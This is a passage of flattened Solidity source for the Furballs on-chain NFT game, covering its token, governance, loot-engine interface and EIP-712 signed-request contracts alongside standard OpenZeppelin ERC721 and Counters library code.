perInterval, uint256 percentBoost ) internal view returns(uint256) { uint256 interval = intervalDuration; return (duration * percentBoost * perInterval) / (100 * interval); } // ----------------------------------------------------------------------------------------------- // Public Views/Accessors (for outside world) // ----------------------------------------------------------------------------------------------- /// @notice Provides the OpenSea storefront /// @dev see https://docs.opensea.io/docs/contract-level-metadata function contractURI() public view returns (string memory) { return governance.metaURI(); } /// @notice Provides the on-chain Furball asset /// @dev see https://docs.opensea.io/docs/metadata-standards function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId)); return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked( editions[tokenId % 0x100].tokenMetadata( engine.attributesMetadata(tokenId), tokenId, furballs[tokenId].number ) )))); } // ----------------------------------------------------------------------------------------------- // OpenSea Proxy // ----------------------------------------------------------------------------------------------- /// @notice Whitelisting the proxy registies for secondary market transactions /// @dev See OpenSea ERC721Tradable function isApprovedForAll(address owner, address operator) override public view returns (bool) { return engine.canProxyTrades(owner, operator) || super.isApprovedForAll(owner, operator); } /// @notice This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. /// @dev See OpenSea ContentMixin function _msgSender() internal override view returns (address sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } // ----------------------------------------------------------------------------------------------- // Configuration / Admin // ----------------------------------------------------------------------------------------------- function setFur(address furAddress) external onlyAdmin { fur = Fur(furAddress); } function setFurgreement(address furgAddress) external onlyAdmin { furgreement = Furgreement(furgAddress); } function setGovernance(address addr) public onlyAdmin { governance = Governance(payable(addr)); } function setEngine(address addr) public onlyAdmin { engine = ILootEngine(addr); } function addEdition(address addr, uint8 idx) public onlyAdmin { if (idx >= editions.length) { editions.push(IFurballEdition(addr)); } else { editions[idx] = IFurballEdition(addr); } } function _isReady() internal view returns(bool) { return address(engine) != address(0) && editions.length > 0 && address(fur) != address(0) && address(governance) != address(0); } /// @notice Handles auth of msg.sender against cheating and/or banning. /// @dev Pass nonzero sender to act as a proxy against the furgreement function _approvedSender(address sender) internal view returns (address, uint8) { // No sender (for gameplay) is approved until the necessary parts are online require(_isReady(), "!RDY"); if (sender != address(0) && sender != msg.sender) { // Only the furgreement may request a proxied sender. require(msg.sender == address(furgreement), "PROXY"); } else { // Zero input triggers sender calculation from msg args sender = _msgSender(); } // All senders are validated thru engine logic. uint8 permissions = uint8(engine.approveSender(sender)); // Zero-permissions indicate unauthorized. require(permissions > 0, FurLib.bytesHex(abi.encodePacked(sender))); return (sender, permissions); } modifier gameAdmin() { (address sender, uint8 permissions) = _approvedSender(address(0)); require(permissions >= FurLib.PERMISSION_ADMIN, "GAME"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../utils/FurLib.sol"; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /// @title IFurballEdition /// @author LFG Gaming LLC /// @notice Interface for a single edition within Furballs interface IFurballEdition is IERC165 { function index() external view returns(uint8); function count() external view returns(uint16); function maxCount() external view returns (uint16); // total max count in this edition function addCount(address to, uint16 amount) external returns(bool); function liveAt() external view returns(uint64); function minted(address addr) external view returns(uint16); function maxMintable(address addr) external view returns(uint16); function maxAdoptable() external view returns (uint16); // how many can be adopted, out of the max? function purchaseFur() external view returns(uint256); // amount of FUR for buying function spawn() external returns (uint256, uint16); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.RewardModifiers memory modifiers, uint256 tokenId ) external view returns(FurLib.RewardModifiers memory); /// @notice Renders a JSON object for tokenURI function tokenMetadata( bytes memory attributes, uint256 tokenId, uint256 number ) external view returns(bytes memory); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "../editions/IFurballEdition.sol"; import "../utils/FurLib.sol"; import "./Zones.sol"; import "./SnackShop.sol"; /// @title ILootEngine /// @author LFG Gaming LLC /// @notice The loot engine is patchable by replacing the Furballs' engine with a new version interface ILootEngine is IERC165 { function snacks() external view returns(SnackShop); function zones() external view returns(Zones); function l2Proxy() external view returns(address); /// @notice When a Furball comes back from exploration, potentially give it some loot. function dropLoot(uint32 intervals, FurLib.RewardModifiers memory mods) external returns(uint128); /// @notice Players can pay to re-roll their loot drop on a Furball function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external returns(uint128); /// @notice Some zones may have preconditions function enterZone(uint256 tokenId, uint32 zone, uint256[] memory team) external returns(uint256); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory baseModifiers, FurLib.Account memory account, bool contextual ) external view returns(FurLib.RewardModifiers memory); /// @notice Loot can have different weight to help prevent over-powering a furball function weightOf(uint128 lootId) external pure returns (uint16); /// @notice JSON object for displaying metadata on OpenSea, etc. function attributesMetadata(uint256 tokenId) external view returns(bytes memory); /// @notice Get a potential snack for the furball by its ID function getSnack(uint32 snack) external view returns(FurLib.Snack memory); /// @notice Proxy registries are allowed to act as 3rd party trading platforms function canProxyTrades(address owner, address operator) external view returns(bool); /// @notice Authorization mechanics are upgradeable to account for security patches function approveSender(address sender) external view returns(uint); /// @notice Called when a Furball is traded to update delegate logic function onTrade( FurLib.Furball memory furball, address from, address to ) external; /// @notice Handles experience gain during collection function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external returns(uint32 totalExp, uint16 level); /// @notice Gets called at the beginning of token render; could add underlaid artwork function render(uint256 tokenId) external view returns(string memory); /// @notice The loot engine can add descriptions to furballs metadata function furballDescription(uint256 tokenId) external view returns (string memory); /// @notice Instant snack + move to new zone function snackAndMove(FurLib.SnackMove[] calldata snackMoves, uint32 zone, address from) external; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./LootEngine.sol"; /// @title EngineA /// @author LFG Gaming LLC /// @notice Concrete implementation of LootEngine contract EngineA is LootEngine { constructor(address furballs, address snacksAddr, address zonesAddr, address tradeProxy, address companyProxy ) LootEngine(furballs, snacksAddr, zonesAddr, tradeProxy, companyProxy) { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title FurLib /// @author LFG Gaming LLC /// @notice Public utility library around game-specific equations and constants library FurDefs { function rarityName(uint8 rarity) internal pure returns(string memory) { if (rarity == 0) return "Common"; if (rarity == 1) return "Elite"; if (rarity == 2) return "Mythic"; if (rarity == 3) return "Legendary"; return "Ultimate"; } function raritySuffix(uint8 rarity) internal pure returns(string memory) { return rarity == 0 ? "" : string(abi.encodePacked(" (", rarityName(rarity), ")")); } function renderPoints(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 cnt = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<cnt; i++) { uint16 x = uint8(data[ptr]) * 256 + uint8(data[ptr + 1]); uint16 y = uint8(data[ptr + 2]) * 256 + uint8(data[ptr + 3]); points = abi.encodePacked(points, FurLib.uint2str(x), ',', FurLib.uint2str(y), i == (cnt - 1) ? '': ' '); ptr += 4; } return (ptr, abi.encodePacked('points="', points, '" ')); } function renderTransform(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 len = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<len; i++) { bytes memory point = ""; (ptr, point) = unpackFloat(ptr, data); points = i == (len - 1) ? abi.encodePacked(points, point) : abi.encodePacked(points, point, ' '); } return (ptr, abi.encodePacked('transform="matrix(', points, ')" ')); } function renderDisplay(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { string[2] memory vals = ['inline', 'none']; return (ptr + 1, abi.encodePacked('display="', vals[uint8(data[ptr])], '" ')); } function renderFloat(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[2] memory floatMap = ['opacity', 'offset']; bytes memory floatVal = ""; (ptr, floatVal) = unpackFloat(ptr + 1, data); return (ptr, abi.encodePacked(floatMap[propType], '="', floatVal,'" ')); } function unpackFloat(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 decimals = uint8(data[ptr]); ptr++; if (decimals == 0) return (ptr, '0'); uint8 hi = decimals / 16; uint16 wholeNum = 0; decimals = decimals % 16; if (hi >= 10) { wholeNum = uint16(uint8(data[ptr]) * 256 + uint8(data[ptr + 1])); ptr += 2; } else if (hi >= 8) { wholeNum = uint16(uint8(data[ptr])); ptr++; } if (decimals == 0) return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum))); bytes memory remainder = new bytes(decimals); for (uint8 d=0; d<decimals; d+=2) { remainder[d] = bytes1(48 + uint8(data[ptr] >> 4)); if ((d + 1) < decimals) { remainder[d+1] = bytes1(48 + uint8(data[ptr] & 0x0f)); } ptr++; } return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum), '.', remainder)); } function renderInt(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[13] memory intMap = ['cx', 'cy', 'x', 'x1', 'x2', 'y', 'y1', 'y2', 'r', 'rx', 'ry', 'width', 'height']; uint16 val = uint16(uint8(data[ptr + 1]) * 256) + uint8(data[ptr + 2]); if (val >= 0x8000) { return (ptr + 3, abi.encodePacked(intMap[propType], '="-', FurLib.uint2str(uint32(0x10000 - val)),'" ')); } return (ptr + 3, abi.encodePacked(intMap[propType], '="', FurLib.uint2str(val),'" ')); } function renderStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { string[4] memory strMap = ['id', 'enable-background', 'gradientUnits', 'gradientTransform']; uint8 t = uint8(data[ptr]); require(t < 4, 'STR'); bytes memory str = ""; (ptr, str) = unpackStr(ptr + 1, data); return (ptr, abi.encodePacked(strMap[t], '="', str, '" ')); } function unpackStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 len = uint8(data[ptr]); bytes memory str = bytes(new string(len)); for (uint8 i=0; i<len; i++) { str[i] = data[ptr + 1 + i]; } return (ptr + 1 + len, str); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title Moderated /// @author LFG Gaming LLC /// @notice Administration & moderation permissions utilities abstract contract Moderated is Ownable { mapping (address => bool) public admins; mapping (address => bool) public moderators; function setAdmin(address addr, bool set) external onlyOwner { require(addr != address(0)); admins[addr] = set; } /// @notice Moderated ownables may not be renounced (only transferred) function renounceOwnership() public override onlyOwner { require(false, 'OWN'); } function setModerator(address mod, bool set) external onlyAdmin { require(mod != address(0)); moderators[mod] = set; } function isAdmin(address addr) public virtual view returns(bool) { return owner() == addr || admins[addr]; } function isModerator(address addr) public virtual view returns(bool) { return isAdmin(addr) || moderators[addr]; } modifier onlyModerators() { require(isModerator(msg.sender), 'MOD'); _; } modifier onlyAdmin() { require(isAdmin(msg.sender), 'ADMIN'); _; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Stakeholders.sol"; import "./Community.sol"; import "./FurLib.sol"; /// @title Governance /// @author LFG Gaming LLC /// @notice Meta-tracker for Furballs; looks at the ecosystem (metadata, wallet counts, etc.) /// @dev Shares is an ERC20; stakeholders is a payable contract Governance is Stakeholders { /// @notice Where transaction fees are deposited address payable public treasury; /// @notice How much is the transaction fee, in basis points? uint16 public transactionFee = 250; /// @notice Used in contractURI for Furballs itself. string public metaName = "Furballs.com (Official)"; /// @notice Used in contractURI for Furballs itself. string public metaDescription = "Furballs are entirely on-chain, with a full interactive gameplay experience at Furballs.com. " "There are 88 billion+ possible furball combinations in the first edition, each with their own special abilities" "... but only thousands minted per edition. Each edition has new artwork, game modes, and surprises."; // Tracks the MAX which are ever owned by a given address. mapping(address => FurLib.Account) private _account; // List of all addresses which have ever owned a furball. address[] public accounts; Community public community; constructor(address furballsAddress) Stakeholders(furballsAddress) { treasury = payable(this); } /// @notice Generic form of contractURI for on-chain packing. /// @dev Proxied from Furballs, but not called contractURI so as to not imply this ERC20 is tradeable. function metaURI() public view returns(string memory) { return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked( '{"name": "', metaName,'", "description": "', metaDescription,'"', ', "external_link": "https://furballs.com"', ', "image": "https://furballs.com/images/pfp.png"', ', "seller_fee_basis_points": ', FurLib.uint2str(transactionFee), ', "fee_recipient": "0x', FurLib.bytesHex(abi.encodePacked(treasury)), '"}' )))); } /// @notice total count of accounts function numAccounts() external view returns(uint256) { return accounts.length; } /// @notice Update metadata for main contractURI function setMeta(string memory nameVal, string memory descVal) external gameAdmin { metaName = nameVal; metaDescription = descVal; } /// @notice The transaction fee can be adjusted function setTransactionFee(uint16 basisPoints) external gameAdmin { transactionFee = basisPoints; } /// @notice The treasury can be changed in only rare circumstances. function setTreasury(address treasuryAddress) external onlyOwner { treasury = payable(treasuryAddress); } /// @notice The treasury can be changed in only rare circumstances. function setCommunity(address communityAddress) external onlyOwner { community = Community(communityAddress); } /// @notice public accessor updates permissions function getAccount(address addr) external view returns (FurLib.Account memory) { FurLib.Account memory acc = _account[addr]; acc.permissions = _userPermissions(addr); return acc; } /// @notice Public function allowing manual update of standings function updateStandings(address[] memory addrs) public { for (uint32 i=0; i<addrs.length; i++) { _updateStanding(addrs[i]); } } /// @notice Moderators may assign reputation to accounts function setReputation(address addr, uint16 rep) external gameModerators { _account[addr].reputation = rep; } /// @notice Tracks the max level an account has *obtained* function updateMaxLevel(address addr, uint16 level) external gameAdmin { if (_account[addr].maxLevel >= level) return; _account[addr].maxLevel = level; _updateStanding(addr); } /// @notice Recompute max stats for the account. function updateAccount(address addr, uint256 numFurballs) external gameAdmin { FurLib.Account memory acc = _account[addr]; // Recompute account permissions for internal rewards uint8 permissions = _userPermissions(addr); if (permissions != acc.permissions) _account[addr].permissions = permissions; // New account created? if (acc.created == 0) _account[addr].created = uint64(block.timestamp); if (acc.numFurballs != numFurballs) _account[addr].numFurballs = uint32(numFurballs); // New max furballs? if (numFurballs > acc.maxFurballs) { if (acc.maxFurballs == 0) accounts.push(addr); _account[addr].maxFurballs = uint32(numFurballs); } _updateStanding(addr); } /// @notice Re-computes the account's standing function _updateStanding(address addr) internal { uint256 standing = 0; FurLib.Account memory acc = _account[addr]; if (address(community) != address(0)) { // If community is patched in later... standing = community.update(acc, addr); } else { // Default computation of standing uint32 num = acc.numFurballs; if (num > 0) { standing = num * 10 + acc.maxLevel + acc.reputation; } } _account[addr].standing = uint16(standing); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./Furballs.sol"; import "./editions/IFurballEdition.sol"; import "./utils/FurProxy.sol"; /// @title Fur /// @author LFG Gaming LLC /// @notice Utility token for in-game rewards in Furballs contract Fur is ERC20, FurProxy { // n.b., this contract has some unusual tight-coupling between FUR and Furballs // Simple reason: this contract had more space, and is the only other allowed to know about ownership // Thus it serves as a sort of shop meta-store for Furballs constructor(address furballsAddress) FurProxy(furballsAddress) ERC20("Fur", "FUR") { } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice FUR is a strict counter, with no decimals function decimals() public view virtual override returns (uint8) { return 0; } /// @notice Returns the snacks currently applied to a Furball function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) { return furballs.engine().snacks().snacks(tokenId); } /// @notice Write-function to cleanup the snacks for a token (remove expired) /// @dev Since migrating to SnackShop, this function no longer writes; it matches snackEffects function cleanSnacks(uint256 tokenId) external view returns (uint256) { return furballs.engine().snacks().snackEffects(tokenId); } /// @notice The public accessor calculates the snack boosts function snackEffects(uint256 tokenId) external view returns(uint256) { return furballs.engine().snacks().snackEffects(tokenId); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice FUR can only be minted by furballs doing battle. function earn(address addr, uint256 amount) external gameModerators { if (amount == 0) return; _mint(addr, amount); } /// @notice FUR can be spent by Furballs, or by the LootEngine (shopping, in the future) function spend(address addr, uint256 amount) external gameModerators { _burn(addr, amount); } /// @notice Increases balance in bulk function gift(address[] calldata tos, uint256[] calldata amounts) external gameModerators { for (uint i=0; i<tos.length; i++) { _mint(tos[i], amounts[i]); } } /// @notice Pay any necessary fees to mint a furball /// @dev Delegated logic from Furballs; function purchaseMint( address from, uint8 permissions, address to, IFurballEdition edition ) external gameAdmin returns (bool) { require(edition.maxMintable(to) > 0, "LIVE"); uint32 cnt = edition.count(); uint32 adoptable = edition.maxAdoptable(); bool requiresPurchase = cnt >= adoptable; if (requiresPurchase) { // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, to, edition.purchaseFur()); } return requiresPurchase; } /// @notice Attempts to purchase an upgrade for a loot item /// @dev Delegated logic from Furballs function purchaseUpgrade( FurLib.RewardModifiers memory modifiers, address from, uint8 permissions, uint256 tokenId, uint128 lootId, uint8 chances ) external gameAdmin returns(uint128) { address owner = furballs.ownerOf(tokenId); // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, owner, 500 * uint256(chances)); return furballs.engine().upgradeLoot(modifiers, owner, lootId, chances); } /// @notice Attempts to purchase a snack using templates found in the engine /// @dev Delegated logic from Furballs function purchaseSnack( address from, uint8 permissions, uint256 tokenId, uint32 snackId, uint16 count ) external gameAdmin { FurLib.Snack memory snack = furballs.engine().getSnack(snackId); require(snack.count > 0, "COUNT"); require(snack.fed == 0, "FED"); // _gift will throw if cannot gift or cannot afford costQ _gift(from, permissions, furballs.ownerOf(tokenId), snack.furCost * count); furballs.engine().snacks().giveSnack(tokenId, snackId, count); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice Enforces (requires) only admins/game may give gifts /// @param to Whom is this being sent to? /// @return If this is a gift or not. function _gift(address from, uint8 permissions, address to, uint256 furCost) internal returns(bool) { bool isGift = to != from; // Only admins or game engine can send gifts (to != self), which are always free. require(!isGift || permissions >= FurLib.PERMISSION_ADMIN, "GIFT"); if (!isGift && furCost > 0) { _burn(from, furCost); } return isGift; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Furballs.sol"; import "./Fur.sol"; import "./utils/FurProxy.sol"; import "./engines/Zones.sol"; import "./engines/SnackShop.sol"; import "./utils/MetaData.sol"; import "./l2/L2Lib.sol"; import "./l2/Fuel.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; // import "hardhat/console.sol"; /// @title Furgreement /// @author LFG Gaming LLC /// @notice L2 proxy authority; has permissions to write to main contract(s) contract Furgreement is EIP712, FurProxy { // Tracker of wallet balances Fuel public fuel; // Simple, fast check for a single allowed proxy... address private _job; constructor( address furballsAddress, address fuelAddress ) EIP712("Furgreement", "1") FurProxy(furballsAddress) { fuel = Fuel(fuelAddress); _job = msg.sender; } /// @notice Player signs an EIP-712 authorizing the ticket (fuel) usage /// @dev furballMoves defines desinations (zone-moves) for playMany function runTimekeeper( uint64[] calldata furballMoves, L2Lib.TimekeeperRequest[] calldata tkRequests, bytes[] calldata signatures ) external allowedProxy { // While TK runs, numMovedFurballs are collected to move zones at the end uint8 numZones = uint8(furballMoves.length); uint256[][] memory tokenIds = new uint256[][](numZones); uint32[] memory zoneNums = new uint32[](numZones); uint32[] memory zoneCounts = new uint32[](numZones); for (uint i=0; i<numZones; i++) { tokenIds[i] = new uint256[](furballMoves[i] & 0xFF); zoneNums[i] = uint32(furballMoves[i] >> 8); zoneCounts[i] = 0; } // Validate & run TK on each request for (uint i=0; i<tkRequests.length; i++) { L2Lib.TimekeeperRequest memory tkRequest = tkRequests[i]; uint errorCode = _runTimekeeper(tkRequest, signatures[i]); require(errorCode == 0, errorCode == 0 ? "" : string(abi.encodePacked( FurLib.bytesHex(abi.encode(tkRequest.sender)), ":", FurLib.uint2str(errorCode) ))); // Each "round" in the request represents a Furball for (uint i=0; i<tkRequest.rounds.length; i++) { _resolveRound(tkRequest.rounds[i], tkRequest.sender); uint zi = tkRequest.rounds[i].zoneListNum; if (numZones == 0 || zi == 0) continue; zi = zi - 1; uint zc = zoneCounts[zi]; tokenIds[zi][zc] = tkRequest.rounds[i].tokenId; zoneCounts[zi] = uint32(zc + 1); } } // Finally, move furballs. for (uint i=0; i<numZones; i++) { uint32 zoneNum = zoneNums[i]; if (zoneNum == 0 || zoneNum == 0x10000) { furballs.playMany(tokenIds[i], zoneNum, address(this)); } else { furballs.engine().zones().overrideZone(tokenIds[i], zoneNum); } } } /// @notice Public validation function can check that the signature was valid ahead of time function validateTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) public view returns (uint) { return _validateTimekeeper(tkRequest, signature); } /// @notice Single Timekeeper run for one player; validates EIP-712 request function _runTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) internal returns (uint) { // Check the EIP-712 signature. uint errorCode = _validateTimekeeper(tkRequest, signature); if (errorCode != 0) return errorCode; // Burn tickets, etc. if (tkRequest.tickets > 0) fuel.burn(tkRequest.sender, tkRequest.tickets); // Earn FUR (must be at least the amount approved by player) require(tkRequest.furReal >= tkRequest.furGained, "FUR"); if (tkRequest.furReal > 0) { furballs.fur().earn(tkRequest.sender, tkRequest.furReal); } // Spend FUR (everything approved by player) if (tkRequest.furSpent > 0) { // Spend the FUR required for these actions furballs.fur().spend(tkRequest.sender, tkRequest.furSpent); } // Mint new furballs from an edition if (tkRequest.mintCount > 0) { // Edition is one-indexed, to allow for null address[] memory to = new address[](tkRequest.mintCount); for (uint i=0; i<tkRequest.mintCount; i++) { to[i] = tkRequest.sender; } // "Gift" the mint (FUR purchase should have been done above) furballs.mint(to, tkRequest.mintEdition, address(this)); } return 0; // no error } /// @notice Validate a timekeeper request function _validateTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) internal view returns (uint) { bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( keccak256("TimekeeperRequest(address sender,uint32 fuel,uint32 fur_gained,uint32 fur_spent,uint8 mint_edition,uint8 mint_count,uint64 deadline)"), tkRequest.sender, tkRequest.tickets, tkRequest.furGained, tkRequest.furSpent, tkRequest.mintEdition, tkRequest.mintCount, tkRequest.deadline ))); address signer = ECDSA.recover(digest, signature); if (signer != tkRequest.sender) return 1; if (signer == address(0)) return 2; if (tkRequest.deadline != 0 && block.timestamp >= tkRequest.deadline) return 3; return 0; } /// @notice Give rewards/outcomes directly function _resolveRound(L2Lib.RoundResolution memory round, address sender) internal { if (round.expGained > 0) { // EXP gain (in explore mode) furballs.engine().zones().addExp(round.tokenId, round.expGained); } if (round.items.length != 0) { // First item is an optional drop if (round.items[0] != 0) furballs.drop(round.tokenId, round.items[0], 1); // Other items are pickups for (uint j=1; j<round.items.length; j++) { furballs.pickup(round.tokenId, round.items[j]); } } // Directly assign snacks... if (round.snackStacks.length > 0) { furballs.engine().snacks().giveSnacks(round.tokenId, round.snackStacks); } } /// @notice Proxy can be set to an arbitrary address to represent the allowed offline job function setJobAddress(address addr) external gameAdmin { _job = addr; } /// @notice Simple proxy allowed check modifier allowedProxy() { require(msg.sender == _job || furballs.isAdmin(msg.sender), "FPRXY"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private 